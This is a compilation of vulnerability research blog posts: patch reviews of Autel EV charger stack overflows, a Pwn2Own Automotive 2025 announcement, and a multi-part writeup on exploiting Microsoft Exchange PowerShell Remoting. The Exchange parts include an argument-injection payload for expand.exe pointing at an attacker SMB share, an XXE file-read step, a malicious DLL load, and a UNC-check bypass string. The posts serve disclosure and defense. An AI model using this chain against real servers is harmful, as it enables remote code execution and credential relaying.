Once the device receives an ACMP message, it is decoded as JSON and parsed with the help of the popular cJSON library. The JSON is expected to contain a nested key (named data) that contains a base64 encoded string. This encoded string is extracted from the JSON and passed to a custom base64 decoding function that decodes straight into a 1024-byte stack buffer (named b64_decoded_buf). As there are no length checks, the base64 decoding function can be exploited to trigger a stack buffer overflow.

As the screenshot shows, base64_decode() doesn't take length into account.

The Patch

To validate the patch in the updated firmware, the Ghidra Version Tracking tool was used. Comparing v1.32 against the latest v1.35 highlights a simple change (the right side shows the patch):

An if statement has been added to check that the length of the attacker-controlled base64 encoded string is less than 0x556 (1366) bytes. If that check passes, the string is decoded into the 1024-byte stack buffer. This is a valid patch as the largest possible encoded string would be 1365 bytes in length, which, when base64 decoded, will output 1023 bytes, so that it fits into the stack buffer.

Observations

Even though the patch fixes the issue, it isn't an ideal solution. The if statement protects against a buffer overflow only in this specific function. Other code that may call base64_decode() could easily introduce another buffer overflow. In v1.35 there are no other references to base64_decode(), but that doesn't mean there won't be in the future. In its current state, the base64_decode() function takes the encoded input string and a pointer to an output buffer to hold the decoded string. A better implementation would take a third parameter that holds the length of the output buffer. This way, base64_decode() could internally check to ensure the number of bytes placed into the output buffer doesn't exceed the output buffer’s length. If it does, it could return an error. This would eliminate the need to place a length check before every invocation of base64_decode().

Interestingly, the base64_encode() function does account for the output buffer’s length, but for some reason, the corresponding decode function doesn't.

Another solution would be to use the Mbed TLS base64 functions as both versions of the firmware already include the Mbed TLS library. These functions take length parameters to prevent buffer overflows.

The Second Vulnerability: CVE-2024-23957 (ZDI-CAN-23241)

The PHP Hooligans / Midnight Blue researchers also identified and exploited a stack buffer overflow in v1.32 of the Autel firmware. The overflow can be triggered when an attacker sends a large hex string, which is then decoded into a fixed-size stack buffer with no bounds checking.

The vulnerable function is related to the Dynamic Load Balancing (DLB) protocol that distributes a power load between a network of EV chargers. As part of the initial inter-charger communications, each charger receives a shared AES-128 key inside a JSON RPC payload. The key is encoded as a hex string and passed as an argument to the called RPC function.

The called function proceeds to extract the hex-encoded key from the JSON RPC parameters and then decodes it into a fixed-size stack buffer. The stack buffer is 16 bytes but takes up 20 bytes on the stack due to alignment. This is the correct size for an AES-128 key, however, since the attacker can supply a much longer string, a buffer overflow can occur.

Unlike the previous base64_decode() issue, the hex_decode() function does take a length (the encoded key length), but this doesn't prevent the overflow as the length is never checked against the size of the buffer.

The Patch

Again, the Version Tracking tool was used to compare the vulnerable function to the patched function. The highlighted sections on the right side show the patch:

The screenshot shows an if statement has been added to ensure that hex_encoded_key_len is less than a certain value (0x21, or decimal 33) and is not equal to 0. The stack buffer is declared as 16 bytes, so this patch is valid, since a hex-encoded string of 32 bytes or less will successfully decode into a 16-byte buffer.

Observations

In a similar fashion to the first patch, the fix could be more effective. For the same reasons previously described, another buffer overflow vulnerability could be introduced if the hex_decode() function is used by another piece of code that doesn't check lengths with an explicit if statement. Currently, hex_decode() is only called by the patched function, but this may change with future releases.

Ideally, the length of the output buffer should be passed to hex_decode() so it can internally ensure a buffer overflow cannot happen.

Conclusion

It is a positive sign that Autel has responded to the vulnerabilities and has released a patch to help protect its customers, even if the patches are not ideal.

EV chargers are being deployed rapidly in homes around the world and represent safety risks when not secured. We are looking forward to Automotive Pwn2Own again in January 2025, and we will see if EV charger vendors have improved their product security. We hope to see you there.

You can find me on Twitter @ByteInsight, and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

As you may know, I recently presented my Exchange-related talk during OffensiveCon 2024. This series of 4 blog posts is meant to supplement the talk and provide additional technical details.

In this final part, I ’am going to describe the PowerShell Remoting ConvertViaNoArgumentConstructor conversion mechanism, which I underestimated at the beginning of my research. It allowed me to find 3 more vulnerabilities, even after the Exchange PowerShell attack surface had been significantly hardened by switching to a strict allow list of types. The vulnerabilities I found were:

• CVE-2023-36050 – XXE (File Read)
• CVE-2023-36039 – NTLM Relaying
• CVE-2023-36035 – NTLM Relaying

At least at that time, Microsoft was taking seriously NTLM relaying vulnerabilities in Exchange, because it could lead to privilege escalation.

You can also watch the full talk here: “Half Measures and Full Compromise: Exploiting Microsoft Exchange PowerShell Remoting”. This blog post covers the part from 26:25 to 29:45, but it significantly extends it.

Introduction

In this final part of the Exchange PowerShell series, I’ll describe the ConvertViaNoArgumentConstructor conversion mechanism. Initially, I was not interested in it, as I was always able to find an applicable RCE chain using single-argument constructor conversion.

My approach changed when the new patch for my RCE chains landed. Finally, it was a good patch. The entire deserialization protection mechanism (type control) had been redesigned. The new mechanism:

• By default, works solely based on an allow list.
• The internal deserialization in MultiValuedProperty is subject to the same validation.
• Type parameters of generic classes (like class T in SomeClass<T>) are also subject to validation.

After this patch, we canno longer take advantage of deserializing types that are missing from a deny list, since an allow list is being used instead. Also, the MultiValuedProperty<T> bridge gadget does not provide too much value, as the generic type parameter <T> is also subject to the same validation.

For my last dance with Exchange PowerShell, I decided to focus once more on the list of allowed classes. I had a hard time finding anything interesting for single-argument constructor or Parse method-based conversions, though. I decided to have a look at different conversions again, and I realized that the one based on a no-argument constructor is much more powerful than I initially thought.

The ConvertViaNoArgumentConstructor

ConvertViaNoArgumentConstructor works similarly to the majority of setter-based serializers:

• It initializes the object with a no-argument constructor.
• It uses setters to set the values of the members.

In the serialized XML payload, member values are defined using the MS tag:

Figure 1 - Sample member definition

The MS tag contains one subelement for each member that we want to deserialize. In the sample XML in Figure 1, we are specifying that:

• We want to deserialize a single member called SomeMember. The N attribute specifies the member name.
• We are deserializing the member value from a string. This is indicated by the S tag.
• The value for the member is the string value.

We can see that the ConvertViaNoArgumentConstructor conversion routine needs to somehow deserialize values for those setter calls. This is where things get interesting.

Let’s start from the beginning. When we deserialize an object with ConvertViaNoArgumentConstructor, we eventually reach one of the System.Management.Automation.LanguagePrimitives. ConvertViaNoArgumentConstructor.Convert overloads:

At [1], our object is instantiated with the no-argument constructor.

At [2], one of the SetObjectProperties overloads is called.

At [1], the code verifies that psobject is not null. This object holds data from our serialized payload, thus it should be a valid object.

At [2], it iterates over properties defined in our payload. It extracts the name of each member to be deserialized together with its value, and adds it to the dictionary at [3].

Finally, we reach an another SetObjectPropertiesoverload at [4].

At [1], it iterates over properties (members) specified in our serialized payload.

At [2], information about a given member is retrieved, including the type of the member in string form.

At [3], it calls TypeResolver.TryResolveType method to resolve the string representation of the type into a Type object.

At [4], we reach the LanguagePrimitives.ConvertTomethod, where:

• The target type is set to the type of the member that we want to deserialize.
• Our controlled value is provided as a value, from which we are going to deserialize!

To summarize: We can deserialize an allowed type through a no-argument constructor. We can set members of this type, using setter calls. When setting a member, PowerShell Remoting will use its internal conversions in LanguagePrimitives.ConvertTo to convert the value we specify. This means that it will try to deserialize it with all available conversions, including:

• Parse based conversion.
• Single-argument constructor conversion.
• No-argument constructor conversion.
• And others.

The entire process can be summarized with the following scheme.

Figure 2 - Simplified algorithm for ConvertViaNoArgumentConstructor

This deserialization routine opens up two main exploitation vectors:

a)         Dangerous members of allowed types.

We can target types that:

o   are on the allow list (can be deserialized with PowerShell Remoting), and
o   have a no-argument constructor, and
o   have a public member of some dangerous type. By dangerous type, we mean that it leads to security impact when deserialized with PowerShell Remoting. It is not necessary for this type to be on the allow list.

It is also important to note that deserialization of a member will happen even if the member has no setter, or even if there is a setter but the setter is not public!

b)         Dangerous setters of allowed types

We can also target the setters themselves if the implemented setter leads to something dangerous. I’ll show one example of this later.

ConvertViaNoArgumentConstructor – Example

You can see that this conversion mechanism is extremely hazardous because it allows us to significantly extend the attack surface. This is because members of allowed types can be deserialized with PowerShell Remoting conversions, even when the member of is not of an allowed type. Let’s see how it works based on some simple examples.

Consider the following sample class, and suppose that it is on the list of types allowed to be deserialized with PowerShell Remoting.

Figure 3 - Sample allowed class

We can see that it contains a no-argument constructor. Moreover, it contains a member reader, which is of type XamlReader. We can deliver a serialized object of type someWhitelistedType, and we can deserialize the reader member from a string. The deserialization flow is presented in the next figure.

Figure 4 - Deserialization of sample someWhitelistedType class

As expected, this leads to RCE. This is because PowerShell Remoting will try to deserialize a member of type XamlReader. XamlReader has already been abused in ProxyNotShell and other exploit chains to achieve RCE through XAML deserialization.

You could also imagine building a chain of types and members, where we are nesting multiple no-argument conversions to ultimately reach a member with a dangerous type.

Figure 5 - Chaining multiple no-argument constructor conversions to reach dangerous member

Now that we know how this powerful conversion works, let’s have a look at how I was able to leverage it to abuse three allowed Exchange classes.

CVE-2023-36039 – NTLM Relaying with FederationTrust

The first class I abused was Microsoft.Exchange.Data.Directory.SystemConfiguration.FederationTrust, which was allowed in Exchange PowerShell Remoting. This class has an interesting public member, called OrgCertificate.

Figure 6 - OrgCertificate member of FederationTrust

It is of type X509Certificate2. This type is not allowed in Exchange PowerShell, but we can still deserialize it when it is the type of a member of an allowed class.

It turns out that this type implements a single-argument constructor, which accepts a path to the certificate file and tries to read it.

Figure 7 - X509Certificate2 constructor

We can reach this constructor through PowerShell Remoting single-argument constructor conversion and use it for NTLM relaying.

CVE-2023-36050 – XXE with TransportConfigContainer

Another class is Microsoft.Exchange.Data.Directory.SystemConfiguration.TransportConfigContainer. Here, I abused the second kind of exploitation vector: attacking the setter call itself.

This class defines a TransportSystemState member, which is of type string.

Figure 8 - TransportSystemState member

We obviously can’t achieve anything malicious during the deserialization of string. However, when setting the property, the setter calls RefreshTransportSystemState, and this leads to XXE. This is because our input to the setter eventually reaches the GetOverrides method.

Figure 9 - GetOverrides - XXE

Exchange runs on an older version of .NET Framework, where XmlDocument is not protected by default from XXE vulnerabilities (classic). As we control the XML string through deserialization, we can abuse this, for example to read local files.

CVE-2023-36035 – NTLM Relaying (Partial Bypass for CVE-2023-36756 RCE)

The last vulnerability is a partial bypass for CVE-2023-36756. This vulnerability was described in the second part of this series. A small recap:

• We were able to deliver a CAB file to the Exchange using a UNC path (a path to a public SMB share within the domain).
• Exchange used the Windows exctrac32 utility for CAB extraction, which is vulnerable to path traversal.
• We could upload a webshell and get code execution.

This vulnerability was patched by making three changes:

• ApprovedApplicationCollection is no longer allowed. This is the class that was used to reach the CAB extraction.
• extrac32 is no longer used for the extraction.
• A call to IsUNCPath was added, which should block the extraction of CAB files from an attacker’s share.

Let’s have a look at this IsUNCPath method:

Figure 10 - IsUNCPath method

It first uses Uri.TryCreate to try parsing the file path, and if that succeeds, it verifies if we have delivered a UNC path by calling Uri.IsUnc. If at least one of those conditions is not true, we would be able to bypass this check. Although the path traversal vulnerability is no longer present, meaning that this would no longer allow us to upload a web shell, nevertheless it at least could be used for NTLM relay.

It turns out that the bypass is very simple here. We can just use the \\?\UNC\server\... syntax (if you don’t know it, please see this article by James Forshaw).

Uri.TryCreate("\\\\?\\UNC\\win-attacker\\poc") -> null

The Uri class is not able to handle this syntax and it will return null! However, this path will be later used in the FileInfo constructor:

new FileInfo("\\\\?\\UNC\\win-attacker\\poc") -> OK

Using this syntax, we can bypass the IsUNCPath check and potentially perform NTLM relaying.

We are still missing one piece, though. How can we reach the CAB extraction methods, if our ApprovedApplicationCollection type was removed from the list of allowed classes?

ConvertViaNoArgumentConstructor to the rescue! It turned out that Exchange allows deserializing the MobileMailboxPolicy class. This class has a member which is of type ApprovedApplicationCollection!

Figure 11 - MobileMailboxPolicy member of ApprovedApplicationCollection type

Even though Microsoft didn’t want us to deserialize ApprovedApplicationCollection anymore, we were still able to do just that through member deserialization. This shows the power of the no-argument constructor conversion.

Summary

In this blog post, I presented the ConvertViaNoArgumentConstructor conversion of PowerShell Remoting. It is a powerful deserialization mechanism, which significantly extends the attack surface for the entire PowerShell Remoting. It helped me to abuse 3 more allowed Exchange classes, to gain quite a good impact: NTLM Relaying (Privilege Escalation) and XXE (File Read + NTLM Relaying).

This will be the last post in the Exchange PowerShell Remoting series, and I hope you enjoyed it. In my upcoming blog posts, I’m planning to focus on some vulnerabilities that I have recently discovered in Microsoft SharePoint, so stay tuned.

Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

If you just want to read the rules, you can find them here.

Earlier this year we held our inaugural Pwn2Own Automotive contest, and it was a rousing success. On our biggest-ever stage (literally), we awarded $1,323,750 over the three-day event as researchers from around the globe demonstrated 49 unique zero days. Today, we’re excited to announce that we will be returning to Tokyo and the Automotive World conference for Pwn2Own Automotive 2025. The event will be held on January 22-24, 2025, and we have some exciting challenges planned for our second year.

As always, we’re pleased to be working with our cohorts over at VicOne again. Their help was instrumental in the success we had at our first event, and we’re glad to be partnering with them once more. Tesla also returns as a sponsor. They have worked with us extensively for our Pwn2Own events, and we rely on their guidance and understanding of the complexities of electric vehicles (EV). They also brought their wall charger to this year’s event, so that should be exciting. Altogether, we have more than $1,000,000 USD in cash and prizes available, and we can’t wait to see what researchers bring to demonstrate in Tokyo.

As with other Pwn2Own events, we’ll have a random drawing to determine the schedule of attempts the day before the contest, and we will proceed from there. As always, if you have questions, don't hesitate to get in touch with us at [email protected]. We will be happy to address your issues or concerns directly.

Now on to the four categories we’ll have for the first Pwn2Own Automotive contest:

          - Tesla
          - In-Vehicle Infotainment (IVI)
          - Electric Vehicle Chargers
          - Operating Systems

Let's start with everyone's favorite category.

Tesla

Since its introduction to Pwn2Own in 2019, the Tesla category has always been a highlight, with some of the most innovative research being demonstrated on the EV. At the inaugural Pwn2Own Automotive, the team from Synacktiv exploited it twice on their way to winning Master of Pwn. Contestants can register an entry against the Tesla Model 3/Y (Ryzen-based) equivalent bench top unit, and it wouldn’t surprise me if someone needs to run their exploits in an RF enclosure to prevent interference with vehicles that might be driving by.  Also note that while a Tesla is available as a prize, not every successful attempt will win the vehicle itself. Some of the targets have add-ons available, but to drive away in your new ride, you need to target one of the entries marked “Vehicle Included” in the table below. Also note that the targets have changed a bit this year to keep things interesting.

As usual, there are a few “Add-ons” you can go for is you really want to show your stuff.

Previous exploits in this category have provided highlights of past events, and we’re hopeful we’ll see something similar this year. If you are going to participate in this category, please notify us at least two weeks before the event so we can source the hardware in time for the contest. And please read the rules thoroughly if you’re going after one of the bigger prizes. With over $500,000 on the line, you should make sure all your bases are covered.

Back to top

In-Vehicle Infotainment (IVI) Systems

Other highlights from the inaugural contest were found in the IVI category, which saw the NCC Group put a playable version of Doom on an Alpine system. More than just stereos, the modern IVI is the gateway to your car’s internal systems. Navigation, in-car internet, and Wi-Fi are provided through these devices, but they also serve a connection to other vehicle systems through the CAN bus – making them a ripe target for attackers. These devices are also retrofitted to existing vehicles to modern capabilities – and perhaps modern vulnerabilities as well. This year, we’re bringing four IVI devices to the contest:

Back to top

Electric Vehicle Chargers Category

At the first Pwn2Own Automotive, this proved to be the most popular category with every charger targeted at least once. Sina Kheirkhah even turned on the manufactured-disabled camera for a Rick Roll. We’ve expanded the target list for this year with the inclusion of the Tesla Wall Connector along with models from WOLFBOX and EMPORIA. Attack surfaces in scope for the contest include mobile apps, Bluetooth Low Energy (BLE) connections, and the OCPP protocol could all allow threat actor to cause harm to an EV. There’s no official bonus for style points, be we always love exploits that make us laugh. An attempt in this category must be launched against the target's exposed services or against the target’s communication protocols/physical interfaces that are accessible to a typical user.

We’re also amping up the challenge this year by adding a couple of extras in this category (…and yes, pun intended). The first extra challenge is a Charging Connector Protocol/Signal Manipulation attack. The entry must gain code execution on the EV Charger and the resulting payload must manipulate the protocol and/or signals being transmitted via the Charging Connector. If you can accomplish this, you’ll earn an extra $10,000 and 1 more Master of Pwn point. Really want a challenge? Then go for the Charging Connector Attack. For this one, the entry must originate from the Charging Connector and compromise the EV Charger. If you accomplish this one, it earns you an additional $20,000 and 2 more Master of Pwn points.

Back to top

Operating Systems

It’s odd to think of operating systems within a car, but they are there – and they’re there in abundance. If you drive a recent Mercedes, Subaru, Mazda, or Toyota, there’s a good chance you’re also driving something with Automotive Grade Linux (AGL) installed. How do these onboard OSes compare to their desktop counterparts? The first contest saw AGL successfully targeted. It will be intriguing to see if the other OSes are targeted this year. An attempt in this category must be launched against the target's exposed services/features or launched against the target’s communication protocols that are accessible to a typical user.

Back to top

Master of Pwn

No Pwn2Own contest would be complete without crowning a Master of Pwn, which signifies the overall winner of the competition. Earning the title results in a slick trophy, a different sort of wearable, and brings with it an additional 65,000 ZDI reward points (instant Platinum status in 2026).

For those not familiar with how it works, points are accumulated for each successful attempt. While only the first demonstration in a category wins the full cash award, each successful entry claims the full number of Master of Pwn points. Since the order of attempts is determined by a random draw, those who receive later slots can still claim the Master of Pwn title – even if they earn a lower cash payout. As with previous contests, there are penalties for withdrawing from an attempt once you register for it. If the contestant decides to remove an Add-on Bonus during their attempt, the Master of Pwn points for that Add-on Bonus will be deducted from the final point total for that attempt.

The Complete Details

The full set of rules for Pwn2Own Automotive 2025 can be found here. They may be changed at any time without notice. We highly encourage potential entrants to read the rules thoroughly and completely should they choose to participate. We also encourage contestants to read this blog covering what to expect when participating in Pwn2Own.

Registration is required to ensure we have sufficient resources on hand at the event. Please contact ZDI at [email protected] to begin the registration process. (Email only, please; queries via social media, blog post, or other means will not be acknowledged or answered.) If we receive more than one registration for any category, we’ll hold a random drawing the day before the contest to determine the contest order. Registration closes at 5:00 p.m. Japanese Standard Time on January 16, 2025.

The Results

We’ll be blogging and tweeting results in real-time throughout the competition. Be sure to keep an eye on the blog for the latest information. We’ll also be posting live results on Twitter, Mastodon, LinkedIn, and Bluesky, so follow us on your favorite social platform for the latest news, and keep an eye on the #P2OAuto hashtag for continuing coverage.

We look forward to seeing everyone in Tokyo, and we look forward to seeing what new exploits and attack techniques they bring with them.

With special thanks to our Pwn2Own Automotive 2025 partners, Tesla, for providing their assistance and technology. Thanks also to the researchers from VicOne for their guidance and recommendations.

©2024 Trend Micro Incorporated. All rights reserved. PWN2OWN, ZERO DAY INITIATIVE, ZDI, and Trend Micro are trademarks or registered trademarks of Trend Micro Incorporated. All other trademarks and trade names are the property of their respective owners.

As you may know, I recently presented my Exchange-related talk during OffensiveCon 2024. This series of 4 blog posts is meant to supplement the talk and provide additional technical details.

In this article, part 3 of the series, I describe a chain of 3 vulnerabilities that led to remote code execution:

·       CVE-2023-36744 – Arbitrary File Write vulnerability
·       CVE-2023-36777 – Arbitrary File Read vulnerability
·       CVE-2023-36745 – Local DLL Loading vulnerability

In the sections that follow, I’m going to describe each of these in detail and show how I chained them to eventually achieve RCE.

You can also watch the talk here: “Half Measures and Full Compromise: Exploiting Microsoft Exchange PowerShell Remoting”. This blog post covers the part from 21:00 to 26:25.

Introduction

In this blog post, I will describe the chain of 3 vulnerabilities that led to remote code execution in Exchange. It is probably my favorite chain so far, so I will spend some time on it.

In this chain, I am mainly abusing the single-argument constructor conversions. If you are not familiar with them or do not recall their importance, please refer to the previous parts of this blog series or to the OffensiveCon talk.

I will be describing the chain in an order that provides the most logical presentation of my vulnerability-finding thought process.

CVE-2023-36745 – Local DLL Loading Gadget

When I was looking for non-denylisted gadgets that could be used to achieve something interesting, I found the following Exchange class: Microsoft.Exchange.DxStore.Common.DxSerializationUtil+SharedTypeResolver. It implements a single-argument constructor, which immediately drew my attention.

At [1], it tries to load a DLL called FUSE.Paxos.dll from the attacker-controlled location.

This is something that you could easily use for local privilege escalation, just by dropping the DLL to any local folder and then loading it with this gadget. Using it for remote code execution, though, is far harder. Remote DLL loading has been blocked by default in .NET 4, so you cannot load the DLL from a remote location hosted by the attacker, such as a public SMB share located in the domain. The attacker would need to drop the file locally first.

I decided to keep this gadget in my pocket for some time and to look for a file write primitive that would allow me to drop a DLL to the file system. It was not an easy thing to find, but it eventually paid off.

CVE-2023-36744 – File Write Gadget

After some time, I found the Microsoft.Diagnostics.Runtime.DumpDataReader class, where a single-argument constructor looked promising. At first glance, it looked completely useless but let us look further !

At [1], a constructor with a single argument of type string is defined.

At [2], the code verifies that the provided argument is an existing filesystem path. If not, it throws an exception.

At [3], the code verifies that the provided path ends with .cab.

If we pass all the checks, it calls ExtractCab at [4]. Things are getting spicy here.

At [1], the code generates a random path having the form C:\Windows\Temp\<random-guid>. At [2], it creates the generated directory.

At [3], it calls expand -F:*dmp <attacker-path> C:\Windows\Temp\<random-guid>.

Let’s stop here for a moment. expand is another Windows CAB extraction utility. Unlike extrac32 (from a previous blog post), it is not vulnerable to path traversal.

One can see that:

• The attacker-controlled path is used to retrieve a CAB file
• It extracts it with expand
• The argument -F:*dmp is hardcoded, which means that expand will extract only files ending with the string dmp
• The files are extracted to a randomly generated temporary directory.

The input is not validated to protect against UNC syntax, so the attacker can provide a remote file via an SMB server. As Exchange PowerShell exploitation requires Kerberos authentication, the attacker probably needs to be located within the same network. That way the attacker can deliver files through a public SMB share in the domain. Exchange will be able to access such a share, even with default restrictions enabled (anonymous share access prohibited).

So far so good. We can also look at [4]. The Dispose method is called when improper crash dump files are extracted. Moreover, Dispose can be also called from the ~DumpDataReader finalizer. Here is the code of Dispose:

At [1], the code retrieves a listing of all files in the random temporary directory.

At [2], it iterates over those files, and at [3] it deletes them.

At [4], it deletes the entire directory. Please note that the second argument is equal to false. This means that the directory deletion operation is not recursive, and later on we are going to abuse that.

When I fully analyzed the DumpDataReader constructor, I realized that there are multiple obstacles in the way of using this as our file write primitive:

• We can only extract files ending with dmp, whereas we need to drop a file with the specific name FUSE.Paxos.dll, as hardcoded in the DLL loading gadget.
• Files will be removed right after the extraction.
• Files are extracted to a path containing a GUID, and we can’t predict that path name, whereas we would need to provide a full path to the DLL loading gadget.
• The attacker’s string (path) is verified with File.Exists. Later on, we will see how this is problematic.
• We may need to extract more than one file, and we will see below how this also presents a minor difficulty.

You can see that the list is quite long, so the gadget appears useless at this point. However, I realized that the expand call itself is vulnerable to Argument Injection. I started playing with expand by testing various arguments, and it turned out that this injection was enough to bypass all the above restrictions! Now let us see how.

1. DumpDataReader: Extracting files with extension other than DMP

The first restriction that we want to bypass is the one that prevents extraction of files unless the filename ends with dmp. This is due to the-F switch provided to the expand utility:

     expand -F:*dmp attacker-path C:\Windows\Temp\<random-guid>

Let's consider a file f.cab that contains our malicious FUSE.Paxos.dll. We should not be able to extract it and preserve its name, due to the -F:*dmp argument. While playing around, I noticed that if either -r or -i is provided to expand, the -F argument is completely ignored! In the next screenshot, I have bypassed the extension-based protection by injecting the -i argument.

Figure 1 - Bypassing the extension protection with argument injection

2. DumpDataReader: Bypassing the file deletion routine

Now we know how to drop the DLL to the file system. However, remember that the gadget removes files just after the extraction. We might try to win a difficult race condition here, but a much simpler approach exists.

DumpDataReader removes all the files from the temporary directory and then removes the entire directory. However, the Directory.Delete function is called with the recursive argument equal to false.

If we were able to create a subdirectory within C:\Windows\Temp\<random-guid> and store our malicious file in that subdirectory, the deletion routine would not work.

For example, let's consider an operation that leads to the extraction of following files:

The DumpDataReader.Dispose method would remove test.txt and dump.exe, but a\poc.dll would remain untouched. This is because the Dispose method only looks for files in the top level of C:\Windows\Temp\f66aa138-fda9-4758-a733-1295ee2664e3\, and the search/removal operations it uses are not recursive.

Ultimately, the following file would remain on the file system:

C:\Windows\Temp\f66aa138-fda9-4758-a733-1295ee2664e3\a\poc.dll

How can one create a new directory by means of a CAB extraction? We can create a CAB file with a filename like a/FUSE.Paxos.DLL, and inject the -r argument to the expand utility. It recreates the entire directory structure, and additionally, as mentioned above, it bypasses the -F file extension check, killing two birds with one stone.

Figure 2 - Extracting entire directory structure - bypassing the file removal routine

3. DumpDataReader: Extracting multiple files

I found experimentally that the aforementioned bypasses work only for a CAB file that includes a single file. In addition to FUSE.Paxos.dll, we may need to drop additional files, though:

• Ijwhost.dll, depending on how we compiled our malicious FUSE.Paxos.dll
• An additional corrupted file. I will explain this part soon.

Luckily, you can provide multiple CAB file paths to a single expand execution and all will be handled. In the next screenshot, I’m providing paths to two different CAB files and both are extracted by a single execution of expand.

Figure 3 - Extracting multiple files with single expand execution

4. DumpDataReader: Leaking the extraction directory

We have bypassed almost all the restrictions! We are still missing a critical one, though. The files will be extracted to a path containing a randomly generated GUID. We cannot predict it, but to use the DLL loading gadget, we will need to provide the full path to our malicious DLL. Now, we need to find a primitive that leaks the extraction path.

Fortunately for me, such a primitive exists within expand itself. First of all, let’s create a corrupted CAB file, which contains a file with an invalid file name. Exemplary invalid name: c:tzt.dmp:

Figure 4 - CAB file with invalid file name

Now, let’s try to extract this file.

Figure 5 - Failed extraction attempt - corrupted CAB file

The extraction operation has failed, as expected. However, when we analyze the expand operation with the procmon, we will quickly notice something very interesting.

Figure 6 - expand accessing C:\Windows\Logs\DPX\setupact.log file

expand is writing some data to C:\Windows\Logs\DPX\setupact.log. Let’s have a look at the contents.

Figure 7 - GUID leaked in setupact.log

Bingo! When we try to extract a file with an invalid name, an exception is thrown and written to setupact.log. The exception text includes the extraction path, so this may be a way to leak the GUID and the entire DLL drop path. We only need a vulnerability that allows retrieval of the contents of this log file. We will come back to this later.

5. DumpDataReader – Preparing the Final Payload and Bypassing the File.Exists Check

We have bypassed all the significant restrictions, including:

• File extension check
• File removal after the extraction
• Writing to the random path (leak of GUID)

The final payload looks like this:

\\192.168.123.104\poc\f.cab -r \\192.168.123.104\poc\i.cab \\192.168.123.104\poc\t.cab

I am:

• Injecting -r argument to bypass several protections.
• Delivering 3 CAB files: one for FUSE.Paxos.dll, one for Ijwhost.dll and one containing a corrupted file for leaking the GUID.

You may remember that the attacker’s input is first passed to the File.Exists method and we need to pass that check. To do that, we need to prepare a tricky SMB share structure. It’s not hard to accomplish, though, and you can prepare such a share either on Windows or Linux.

Figure 8 - Sample SMB share for exploitation

Now, File.Exists succeeds, because it interprets the argument as a path to a deeply nested t.cab file. This deeply nested t.cab is of no further interest after we pass the File.Exists check. expand still sees the argument as a sequence of three separate shallow paths, with the addition of the flag -r in between the first two.

With this, we can drop both DLLs to the file system, as well as leak the file write path into one of the Windows log files. The last part to figure out is how to read this log file.

CVE-2023-36777 – XXE to File Read

As mentioned in the previous post, the Exchange issues that I previously reported were fixed by adding to the denylist of gadgets. According to that, I was free to use any class for PowerShell deserialization that was still not on the denylist.

I wanted to read the content of setupact.log to leak the GUID, and it didn’t take me long to find two classes: Microsoft.Build.Execution.ProjectInstance and Microsoft.Build.Evaluation.Project. Each defines a single-argument constructor, which we can reach through deserialization. Sample constructor:

The constructors lead to the Microsoft.Build.Evaluation.ProjectRootElementCache.Get method:

At [1], a new XmlDocument is initialized, and at [2], the XML document from the attacker-controlled path is loaded. As Exchange still runs on an older version of .NET Framework, XmlDocument is not protected against XXE by default.

We can store our malicious XML file on the same SMB share as our CAB files. Now, we can use this XXE to read setupact.log and retrieve the random name of the directory where the DLLs were dropped.

Figure 9 - Retrieving leaked GUID with XXE

Now we have all that we need to achieve RCE. We can deserialize the local DLL loading gadget and provide it with the following input:

C:\Windows\Temp\ 7ed16d75-c0c3-4466-8266-98d0abb764ed\a

This will load the malicious FUSE.Paxos.dll that we uploaded.

Final Chain

To sum up, we can now chain all 3 vulnerabilities:

• CVE-2023-36744 -> Arbitrary File Write through Argument Injection, which drops a malicious DLL to the local file system. The drop path is randomized and initially unknown.
• CVE-2023-36777 -> Arbitrary File Read, to leak the randomized drop path.
• CVE-2023-36745 -> Local DLL Loading to load the dropped DLL and achieve RCE as SYSTEM.

The entire chain can be seen in action in the following demo.

Summary

In this blog post, I have presented a chain of three vulnerabilities that lead to RCE on Microsoft Exchange Server. It can be executed by any domain user.  The requirement of a domain user is due to the fact that the attacker needs the ability to invoke Exchange PowerShell cmdlets on the server.

In the next blog post, which will be part 4 of 4 in the Exchange PowerShell Remoting series, I’m going to show you how Microsoft has finally provided a reasonably comprehensive patch for Exchange PowerShell remoting deserialization flaws. Even still, I managed to find a way to exploit several allowlisted classes to achieve both file read and NTLM relaying, through setter-based PowerShell remoting conversion.

Until my next post, you can follow me @chudypb and follow the team on Twitter, Mastodon, LinkedIn, or Bluesky for the latest in exploit techniques and security patches.

As you may know, I recently presented my Exchange-related talk during OffensiveCon 2024. This series of 4 blog posts is meant to supplement the talk and provide additional technical details. You can read the first post in this series here.

In part 2, I describe the ApprovedApplicationCollection gadget, which was available for abuse because it did not appear on the deny list and could therefore be accessed via MultiValuedProperty. I am also presenting a path traversal in the Windows utility extrac32.exe, which allowed me to complete the chain for a full RCE in Exchange. For the moment, at least, Microsoft has made a decision not to fix this path traversal bug.

You can watch the full talk here: “Half Measures and Full Compromise: Exploiting Microsoft Exchange PowerShell Remoting”. This blog post covers the part from 18:10 to 21:10.

Introduction

In the previous post, I described two RCE vulnerabilities, CVE-2023-21529 and CVE-2023-32031. In this post, I present the next RCE that found in Microsoft Exchange. It consists of a chain of two vulnerabilities:

• CVE-2023-36756 – a vulnerability in Exchange Server.
• ZDI-CAN-21499 – an unpatched path traversal vulnerability in the Windows utility extrac32.exe.

Microsoft decided that ZDI-CAN-21499 would not be fixed as “Windows customers are not exposed to this vulnerability.” They also note that, in their view, “It is the caller's (the application using extrac32) responsibility to make sure extrac32 is not called on untrusted CAB files.” As we will see in this article, though, the extrac32 issue can be used to an attacker’s advantage.

The Patch for CVE-2023-32031

While Microsoft was dealing with the ProxyNotShell chain back in 2022, I took some time to look for different classes that could be abused to exploit PowerShell Remoting for some security impact, such as RCE, file disclosure, denial of service, or NTLM relaying. I found around 30 unique classes and reported them to Microsoft.

Those submissions were marked as duplicates and were ignored, which in my opinion was a mistake. The initial patch for the ProxyNotShell included an allow list, so it seems that the deficiencies in the separate deny list did not attract the attention it should. The problem became evident later when I discovered the vulnerable MultiValuedProperty class (CVE-2023-21529). This class was present on the allow list, and it allowed me to access a separate, internal deserialization mechanism not subject to the allow list sanitation. Even after the internal MultiValuedProperty deserialization mechanism was hardened by means of the deny list, I was able to easily abuse the classes that I had reported many months before, as they had not been added to the deny list. For example, I was able to use the Command class, as I described in the previous post. I had originally reported this class to Microsoft in September 2022, but I was able to reuse this class for CVE-2023-32031 almost seven months later because it did not appear on the deny list introduced in the patch for MultiValuedProperty.

